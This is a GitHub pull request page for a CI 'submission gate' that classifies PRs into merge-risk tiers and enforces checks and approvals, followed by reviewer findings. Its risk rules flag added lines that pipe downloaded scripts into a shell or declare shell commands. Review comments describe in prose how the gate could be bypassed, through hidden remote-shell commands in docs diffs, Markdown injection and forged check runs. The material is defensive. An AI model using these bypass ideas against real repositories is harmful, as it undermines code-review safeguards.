You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
My contribution adds a new instruction, prompt, agent, skill, workflow, or canvas extension file in the correct directory. (N/A: repository automation)
The file follows the required naming convention.
The content is clearly structured and follows the example format.
I have tested my instructions, prompt, agent, skill, workflow, or canvas extension with GitHub Copilot. (N/A: see validation below)
I have run npm start and verified that README.md is up to date.
I am targeting the main branch for this pull request.
Description
Implements Phase 2 (enforcement) of #4184: sections 3 (aggregate submission-gate check), 4 (risk tiers), and 5 (PR state machine and status comment). It is one of three parallel PRs. Phase 1 covers routing and ownership, and Phase 3 covers the canvas smoke test and metrics.
Summary
submission-gate aggregate check
Reader.github/workflows/submission-gate.yml: workflow Submission Gate, job evaluate. It is a read-only preview and never fails.
Runs on every PR (no path filter) and on review events.
Loads its logic and policy from the base commit.
Waits for the applicable checks listed in .github/submission-gate.yml: line endings, README consistency, plugin/extension validation, canvas extension validation, plugin structure, skill validation, skill lint, agentic workflow validation, risk scan, contributor reputation, duplicate scan, quality signal, and the canvas-smoke-test slot for Phase 3.
Failure classification: each failed run counts as a contribution failure or an infrastructure failure, decided by its failing step.
Infrastructure: setup, install, checkout, artifact, timeout, cancellation, action_required, or never reported.
Contribution failures block and show fix hints. Infrastructure failures prompt /rerun-checks.
Advisory AI checks (duplicate scan, quality signal) never block.
Published by the trusted writer: the submission-gate check run is created on the PR head SHA by Submission Gate Writer through the Checks API (external_id: submission-gate-writer). A pull_request job can't produce it, because a PR can edit its own pull_request workflows.
Any other submission-gate check on the head is flagged as tampering: merge-risk:high plus a blocking "Gate integrity" failure.
Because the writer runs from main, this PR does not show a submission-gate check until it merges.
Pass condition: the check succeeds only when every required check passed and the approvals the tier requires are present. It stays in_progress while checks are pending.
Fail-closed rules:
skipped required checks (unless allow_skip or optional)
a truncated changed-file list (the API cap is 3,000 files)
text files with no scannable diff
failed permission lookups
evaluations whose PR head, base branch, reviews, or risk-raising labels changed mid-run are discarded
a contributor check whose pr-check job succeeded but whose result artifact is missing or unreadable (a lost HIGH signal can't lower the tier)
Triggers include edited, so retargeting a PR to another base re-evaluates it right away.
Check paths include the check's own workflow and eng/ scripts. Each entry in .github/submission-gate.yml and the matching workflow's pull_request.paths list the workflow file and the scripts it runs. Updated workflows: validate-readme.yml, validate-canvas-extensions.yml, check-plugin-structure.yml, validate-skills.yml, skill-check.yml, pr-risk-scan.yml. validate-agentic-workflows-pr.yml is the exception: it rejects any .github/** change, so it can't trigger on its own file, and the drift test exempts it.
New validate-skills.yml:skill-check.yml (vally) never fails on lint findings, so skill validation (npm run skill:validate) now has its own blocking check.
New validate-submission-gate.yml: runs the unit tests. A drift test keeps each check's paths and branches equal to its workflow's trigger, and asserts each path-filtered check lists its own workflow file.
Merge-risk tiers
.github/risk-tiers.yml holds the path patterns, capability triggers, and approval policy. The logic is in eng/submission-gate.mjs, with tests in eng/submission-gate.test.mjs (node:test).
High: any of the following.
.github/**, which covers workflows, CODEOWNERS, review-routing.yml, risk-tiers.yml, and submission-gate.yml
eng/**, scripts/**, and package manifests
mcp.json
Bundled scripts and executables (including scripts shipped with hooks), and plugins/external.json
Added lines that spawn processes, pipe a downloaded script into a shell, or declare MCP or hook commands (mcpServers, command, bash, powershell in plugin, extension, skill, or hook JSON)
The needs-review:HIGH label or a HIGH contributor-reputation artifact (raise-only)
Changes that can't be fully scanned, or an impostor submission-gate check
Low: docs, metadata, or generated files only, or a small modification (≤40 lines) of existing resources.
Medium: everything else, including agentic workflows (workflows/**) and hooks (hooks/**), which are treated like other content unless they add scripts or hook commands.
Approvals:
low: 1 approval from a resource owner: the domain pool for the files, or core-maintainers for files outside every domain
medium: 1 approval from a domain reviewer (Phase 1 pools canvas, plugin, content; content also owns workflows/** and hooks/**)
high: 2 approvals, including a core-maintainers member
The repository's own .github/workflows/**, eng/**, and review policy fall outside every domain, so core-maintainers owns them.
Fallbacks while pools are unstaffed or review-routing.yml is absent: any writer satisfies the domain or owner requirement, and an admin or maintain approver satisfies the core requirement.
Triggers: workflow_run of Submission Gate (requested and completed), an hourly sweep, and workflow_dispatch.
Recomputes everything from the API with default-branch code. It trusts no PR artifacts and matches a PR only on an exact head SHA, repository, and branch.
Publishes the submission-gate check run, and applies exactly one merge-risk:* label and one state label: awaiting-automation, requires-submitter-fixes, ready-for-review, review-in-progress, or approved.
Re-reads the head, base branch, risk-raising labels, and reviews right before writing, and skips the write if any of them changed.
Publishes the check immediately after that revalidation. Label and comment sync run afterwards, independently, so a failed label or comment write can't leave a stale green check.
Status comment: one persistent comment, marked <!-- submission-gate-status --> and updated in place. It shows:
checks, with log links
actionable failures
the risk tier and the reasons for it
approval progress
requested reviewers and the Phase 1 review-due:* date
available commands
External plugin PRs: PRs labeled external-plugin keep their existing intake state labels (shared names); only the risk label and comment are managed there.
/rerun-checks: re-runs failed or incomplete workflow runs for the head commit, re-runs the gate, and refreshes the status.
/request-review: adds needs-reviewer and dispatches Phase 1's review-routing.yml on main. Labels added with GITHUB_TOKEN don't fire labeled workflows, which is why the dispatch is needed.
Only the PR author or users with write/maintain/admin can run commands. Commands from bots are ignored. The comment body is never interpolated into scripts.
Reader/writer split: this works on PRs from forks and non-contributors, and no pull_request_target is used anywhere.
PR Commands (issue_comment, contents: read) uploads a pr-command-request artifact containing only the PR number, comment ID, and run ID.
PR Commands Writer (workflow_run, default-branch code, write permissions) downloads the artifact by run-id and validates its schema and run ID. It re-reads the comment, verifies the comment belongs to the PR, and re-reads the PR state and the commenter's permission before writing.
A 👀 reaction from github-actions[bot] marks a comment as handled, so re-runs don't replay it.
Intermittent AI-check failures (investigated)
PR Quality Signal: 4 of 30 recent runs failed. Every failure was awf-reflect: models fetch returned 401, because the lock authenticates with secrets.COPILOT_GITHUB_TOKEN.
PR Duplicate Check: 2 of 30 runs failed with intermittent 401s. It already uses copilot-requests: write.
Both are advisory and classified as infrastructure-only, so they never block.
The quality-signal fix (add copilot-requests: write and recompile with gh-aw v0.88.8) is left to maintainers, because recompiling needs the matching gh-aw version.
Docs
docs/maintainers/submission-gate.md covers the gate, infrastructure vs contribution failures, tiers with file patterns, the approval policy and fallbacks, the state machine, commands, the security model, and follow-ups.
CONTRIBUTING.md has a new "After You Open a Pull Request" section.
setup-labels.yml: awaiting-automation, review-in-progress, and merge-risk:* were appended; the existing state labels are reused.
tier classification, including capabilities and contributor risk
approvals with and without routing
failure classification
the state machine
polling and grace-period behaviour
label and comment sync
rerun
PR resolution
review hardening: fail-closed scanning, truncated file lists, stale heads, impostor checks, check publishing, write revalidation, and owner approvals
second review round: base-branch and risk-label staleness, correcting forged success runs that carry our external_id, command request validation, and runPrCommand (handled, outsider, closed PR, replay, mismatched comment)
third review round: unreadable contributor artifact fails closed (skipped runs don't), and the check publishes even when label and comment writes fail
fourth review round: an unparsable review-routing.yml fails closed (a missing one still falls back), pending advisory checks don't hold the gate, and commands are marked handled (🚀) only after they finish, so partial failures can be retried
npm run build: no generated changes.
npm run plugin:validate: passes.
npm run skill:validate: passes, 425 skills (earlier round).
skill:validate and bash eng/fix-line-endings.sh weren't re-run locally this round; CI covers them. This round changes no resources or generated files.
All changed files are LF: checked for CR characters.
All changed YAML parses.
Security notes
Reader/writer split. The only pull_request workflows are read-only and never write. The required check is published by the workflow_run writer, not by a PR-editable job.
Check runs created with GITHUB_TOKEN don't trigger check_run workflows. Automation that reacts to the gate must listen for workflow_run on Submission Gate Writer.
The writer and command workflows check out the default branch and run npm ci --ignore-scripts.
external_id is a marker, not proof of origin. Fork tokens can't create check runs, but a workflow with write access could. The writer overwrites any copy of its check that claims success while the evaluation fails, on every run and on the hourly sweep. The durable fix is in the follow-ups below.
No PR code runs with a write token.
On the bootstrap PR, the one that introduces the gate, the gate uses the PR's own copy with a read-only token and logs a warning. That PR is merge-risk:high by path.
Maintainer follow-up
After this merges, make submission-gate (GitHub Actions source) a required status check in the main ruleset. Until then, no PR reports it.
Run Setup Repository Labels to create awaiting-automation, review-in-progress, and merge-risk:low/medium/high.
Merge Phase 1 and staff the .github/review-routing.yml pools (core-maintainers, canvas, plugin, content). Until then, the approval fallbacks apply.
Harden the check source: publish submission-gate from a dedicated GitHub App and require it from that app in the ruleset.
Require Code Owner review for .github/** once Phase 1's CODEOWNERS lands.
Fix PR Quality Signal auth: add copilot-requests: write to .github/workflows/pr-quality-signal.md and recompile with gh-aw v0.88.8.
Decide whether existing individual required checks can be dropped from the ruleset once submission-gate is required.
Once Phase 3 lands, confirm its canvas-smoke-test job reports on the PR head commit. The gate already includes it and skips it when it doesn't report.
Type of Contribution
New instruction file.
New prompt file.
New agent file.
New plugin.
New skill file.
New agentic workflow.
New canvas extension.
Update to existing instruction, prompt, agent, plugin, skill, workflow, or canvas extension.
…ine (github#4184)
Phase 2 (enforcement) of github#4184:
- submission-gate aggregate required check (reader) with infra vs contribution failure classification
- merge-risk:low/medium/high classification from .github/risk-tiers.yml with tier approval policy
- Submission Gate Writer maintaining state labels and a persistent status comment
- /rerun-checks and /request-review PR commands
- validate-skills and validate-submission-gate workflows, unit tests, and maintainer docs
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Inconsistent concurrency keys allow stale PR updates
.github/workflows/submission-gate-writer.yml:32
These keys do not serialize all writers for the same PR: workflow_run uses repository/branch, manual dispatch uses the PR number, and the hourly sweep uses schedule. Those runs can overlap, each computing labels once and then adding/removing them, so a slower stale sweep can overwrite a newer approval state or comment. Route updates through a per-PR concurrency key (or revalidate atomically immediately before writing).
- Publish the submission-gate check from the trusted writer via the Checks API
and flag any other submission-gate check run as tampering
- Fail closed on truncated file lists, unscannable diffs, permission lookup
errors, and skipped required checks
- Discard evaluations when the PR head or reviews change mid-run
- Low tier requires a resource owner approval
- Commands must start the comment, matching the workflow filter
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
…eness
- Split /rerun-checks and /request-review into a read-only issue_comment
reader and a workflow_run writer that re-reads the comment, PR, and
permission before writing.
- Drop the workflow-security pool; agentic workflows and hooks are
content (medium unless they add scripts or hook commands); the core
pool is core-maintainers.
- Include each check's workflow file and eng scripts in its paths.
- Discard evaluations when the base branch or risk labels change; run
the gate on PR edits (retargeting).
- Correct copies of the writer's check that claim success while the
evaluation fails.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
- A contributor check whose pr-check job succeeded but whose result artifact
is missing or unreadable is now an infrastructure failure, so a lost HIGH
signal can't lower the approval tier.
- Publish the submission-gate check right after stale-state revalidation;
label and comment sync are independent and reported afterwards.
- Revert the self-path added to validate-agentic-workflows-pr.yml's trigger:
that workflow rejects any .github change. Exempt it in the drift test.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Workflows and hooks are missing from high-risk paths
.github/risk-tiers.yml:37
This explicitly makes workflows/** and hooks/** medium risk unless a capability trigger fires, but both the PR summary and #4184 classify workflows and hooks as high risk requiring two approvals including core/security. Add those paths to high.paths (and update the corresponding tests/docs), or reconcile the stated policy before enforcement.
Workflow-security approvals are excluded from high-risk review
.github/risk-tiers.yml:152
The declared high-risk policy allows the second approval to come from either core-maintainers or workflow-security, but require_core only unions the keys listed here, so a workflow-security approval cannot satisfy it. Include the workflow-security pool in this list and align the tests/docs with the advertised approval policy.
Pending advisory checks are still placed in automation.pending; computeState then keeps the PR in awaiting-automation, and publishGateCheck leaves the aggregate check in progress. A slow or unreported required: false AI check can therefore delay the gate for up to the 40-minute timeout, despite the stated non-blocking policy. Exclude non-required checks from both the blocking pending bucket and the polling stop condition (while still displaying them as advisory).
Early handled marker prevents retries after partial failure
eng/submission-gate.mjs:1289
The eyes reaction is used as the permanent “already handled” marker, but it is written before reruns, labeling, dispatch, and the reply. If any later API call fails, retrying the workflow sees this reaction and skips the command forever even though it was never completed. Mark the comment handled only after successful command effects, or use separate claimed/completed markers with retry recovery.
- loadGateConfig: a missing review-routing.yml still falls back, but a
file that can't be parsed (or whose pools isn't a mapping) now throws
instead of silently relaxing approvals.
- Pending required: false checks no longer keep the PR in
awaiting-automation or the gate check in progress, and the polling loop
doesn't wait on them. They render as pending (advisory).
- PR commands: 👀 marks a command as claimed; 🚀 is written only after
the reply is posted and is the only replay guard, so a run that failed
partway can be retried.
Co-authored-by: Copilot App <223556219+Copilot@users.noreply.github.com>
Addressed the review-summary findings that didn't have inline threads (daa8f9e):
Advisory checks holding the gate: pending required: false checks no longer keep the PR in awaiting-automation or the gate check in progress, and the writer doesn't wait on them. They show as pending (advisory).
Command replay marker: 👀 now means claimed. 🚀 is written only after the reply is posted, and only 🚀 stops replays, so a run that failed partway can be retried.
workflows/hooks risk and workflow-security in core_pools: no change. Per @aaronpowell, agentic workflows and hooks are content, so they're medium. Hook commands (mcp-server-command) and bundled scripts still escalate to high. There's no workflow-security pool, and core_pools is ["core-maintainers"].
This exempts every documentation file from fail-closed scanning, although files such as docs/maintainers/submission-gate.md are hand-authored rather than generated. A sufficiently large manual docs diff can omit patch, add a remote-shell command, and still be classified low risk. Restrict the exemption to the generated catalog documents.
Label changes do not trigger reevaluation of risk checks
.github/workflows/submission-gate.yml:14
needs-review:HIGH can be added after a green evaluation, but label changes do not trigger this workflow, so a human-applied risk signal can leave the old lower-tier check green until the hourly sweep. Add labeled/unlabeled handling; for labels written with GITHUB_TOKEN, also trigger the trusted writer explicitly (for example from the contributor-check workflow_run).
This does not escape Markdown backticks, brackets, or parentheses. PR-controlled filenames and workflow names flow into bot-authored comments, so a crafted value can terminate a code span and render an attacker-supplied link under the GitHub Actions identity. Escape Markdown control characters or sanitize raw dynamic values before adding trusted formatting.
The command implementation only reads the PR; its writes use Actions and Issues endpoints. pull-requests: write is therefore unnecessary and broadens the privileged writer token. Reduce it to read access.
This writer only reads pull-request data; label and comment mutations use the Issues API. Granting pull-requests: write unnecessarily expands a trusted workflow_run job's authority. Use read permission instead.
Rerun validations when a pull request is retargeted
.github/workflows/submission-gate.yml:16
Adding edited only reruns the aggregate workflow, not the checks it aggregates. The required workflows use the default pull-request activity types or explicitly only opened, synchronize, and reopened; therefore a PR retargeted from another base to main has no fresh line-ending, spelling, or path-filtered validation runs and becomes stuck with “did not report” infrastructure failures until another commit is pushed. Trigger fresh validations on retarget and extend the drift test to cover activity types.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
github-actions
Bot
added
new-submission
Pull Request Checklist
npm startand verified thatREADME.mdis up to date.mainbranch for this pull request.Description
Implements Phase 2 (enforcement) of #4184: sections 3 (aggregate
submission-gatecheck), 4 (risk tiers), and 5 (PR state machine and status comment). It is one of three parallel PRs. Phase 1 covers routing and ownership, and Phase 3 covers the canvas smoke test and metrics.Summary
submission-gateaggregate check.github/workflows/submission-gate.yml: workflow Submission Gate, jobevaluate. It is a read-only preview and never fails..github/submission-gate.yml: line endings, README consistency, plugin/extension validation, canvas extension validation, plugin structure, skill validation, skill lint, agentic workflow validation, risk scan, contributor reputation, duplicate scan, quality signal, and thecanvas-smoke-testslot for Phase 3.action_required, or never reported./rerun-checks.submission-gatecheck run is created on the PR head SHA by Submission Gate Writer through the Checks API (external_id: submission-gate-writer). Apull_requestjob can't produce it, because a PR can edit its ownpull_requestworkflows.submission-gatecheck on the head is flagged as tampering:merge-risk:highplus a blocking "Gate integrity" failure.main, this PR does not show asubmission-gatecheck until it merges.in_progresswhile checks are pending.allow_skiporoptional)pr-checkjob succeeded but whose result artifact is missing or unreadable (a lostHIGHsignal can't lower the tier)edited, so retargeting a PR to another base re-evaluates it right away.eng/scripts. Each entry in.github/submission-gate.ymland the matching workflow'spull_request.pathslist the workflow file and the scripts it runs. Updated workflows:validate-readme.yml,validate-canvas-extensions.yml,check-plugin-structure.yml,validate-skills.yml,skill-check.yml,pr-risk-scan.yml.validate-agentic-workflows-pr.ymlis the exception: it rejects any.github/**change, so it can't trigger on its own file, and the drift test exempts it.validate-skills.yml:skill-check.yml(vally) never fails on lint findings, so skill validation (npm run skill:validate) now has its own blocking check.validate-submission-gate.yml: runs the unit tests. A drift test keeps each check'spathsandbranchesequal to its workflow's trigger, and asserts each path-filtered check lists its own workflow file.Merge-risk tiers
.github/risk-tiers.ymlholds the path patterns, capability triggers, and approval policy. The logic is ineng/submission-gate.mjs, with tests ineng/submission-gate.test.mjs(node:test)..github/**, which covers workflows, CODEOWNERS,review-routing.yml,risk-tiers.yml, andsubmission-gate.ymleng/**,scripts/**, and package manifestsmcp.jsonplugins/external.jsonmcpServers,command,bash,powershellin plugin, extension, skill, or hook JSON)needs-review:HIGHlabel or a HIGH contributor-reputation artifact (raise-only)submission-gatecheckworkflows/**) and hooks (hooks/**), which are treated like other content unless they add scripts or hook commands.core-maintainersfor files outside every domaincanvas,plugin,content;contentalso ownsworkflows/**andhooks/**)core-maintainersmember.github/workflows/**,eng/**, and review policy fall outside every domain, socore-maintainersowns them.review-routing.ymlis absent: any writer satisfies the domain or owner requirement, and an admin or maintain approver satisfies the core requirement.PR state machine and status comment
.github/workflows/submission-gate-writer.yml.workflow_runof Submission Gate (requested and completed), an hourly sweep, andworkflow_dispatch.submission-gatecheck run, and applies exactly onemerge-risk:*label and one state label:awaiting-automation,requires-submitter-fixes,ready-for-review,review-in-progress, orapproved.<!-- submission-gate-status -->and updated in place. It shows:review-due:*dateexternal-pluginkeep their existing intake state labels (shared names); only the risk label and comment are managed there.Commands (
.github/workflows/pr-commands.yml+pr-commands-writer.yml)/rerun-checks: re-runs failed or incomplete workflow runs for the head commit, re-runs the gate, and refreshes the status./request-review: addsneeds-reviewerand dispatches Phase 1'sreview-routing.ymlonmain. Labels added withGITHUB_TOKENdon't firelabeledworkflows, which is why the dispatch is needed.pull_request_targetis used anywhere.issue_comment,contents: read) uploads apr-command-requestartifact containing only the PR number, comment ID, and run ID.workflow_run, default-branch code, write permissions) downloads the artifact byrun-idand validates its schema and run ID. It re-reads the comment, verifies the comment belongs to the PR, and re-reads the PR state and the commenter's permission before writing.github-actions[bot]marks a comment as handled, so re-runs don't replay it.Intermittent AI-check failures (investigated)
awf-reflect: models fetch returned 401, because the lock authenticates withsecrets.COPILOT_GITHUB_TOKEN.copilot-requests: write.copilot-requests: writeand recompile with gh-aw v0.88.8) is left to maintainers, because recompiling needs the matching gh-aw version.Docs
docs/maintainers/submission-gate.mdcovers the gate, infrastructure vs contribution failures, tiers with file patterns, the approval policy and fallbacks, the state machine, commands, the security model, and follow-ups.CONTRIBUTING.mdhas a new "After You Open a Pull Request" section.setup-labels.yml:awaiting-automation,review-in-progress, andmerge-risk:*were appended; the existing state labels are reused.Validation
node --test eng/submission-gate.test.mjs: 47/47 pass. Covered:external_id, command request validation, andrunPrCommand(handled, outsider, closed PR, replay, mismatched comment)review-routing.ymlfails closed (a missing one still falls back), pending advisory checks don't hold the gate, and commands are marked handled (🚀) only after they finish, so partial failures can be retriednpm run build: no generated changes.npm run plugin:validate: passes.npm run skill:validate: passes, 425 skills (earlier round).skill:validateandbash eng/fix-line-endings.shweren't re-run locally this round; CI covers them. This round changes no resources or generated files.Security notes
pull_requestworkflows are read-only and never write. The required check is published by theworkflow_runwriter, not by a PR-editable job.GITHUB_TOKENdon't triggercheck_runworkflows. Automation that reacts to the gate must listen forworkflow_runon Submission Gate Writer.npm ci --ignore-scripts.external_idis a marker, not proof of origin. Fork tokens can't create check runs, but a workflow with write access could. The writer overwrites any copy of its check that claims success while the evaluation fails, on every run and on the hourly sweep. The durable fix is in the follow-ups below.merge-risk:highby path.Maintainer follow-up
submission-gate(GitHub Actions source) a required status check in themainruleset. Until then, no PR reports it.awaiting-automation,review-in-progress, andmerge-risk:low/medium/high..github/review-routing.ymlpools (core-maintainers,canvas,plugin,content). Until then, the approval fallbacks apply.submission-gatefrom a dedicated GitHub App and require it from that app in the ruleset..github/**once Phase 1'sCODEOWNERSlands.copilot-requests: writeto.github/workflows/pr-quality-signal.mdand recompile with gh-aw v0.88.8.submission-gateis required.canvas-smoke-testjob reports on the PR head commit. The gate already includes it and skips it when it doesn't report.Type of Contribution
Additional Notes
Validation results and maintainer follow-ups are listed in the Description above.
By submitting this pull request, I confirm that my contribution abides by the Code of Conduct and will be licensed under the MIT License.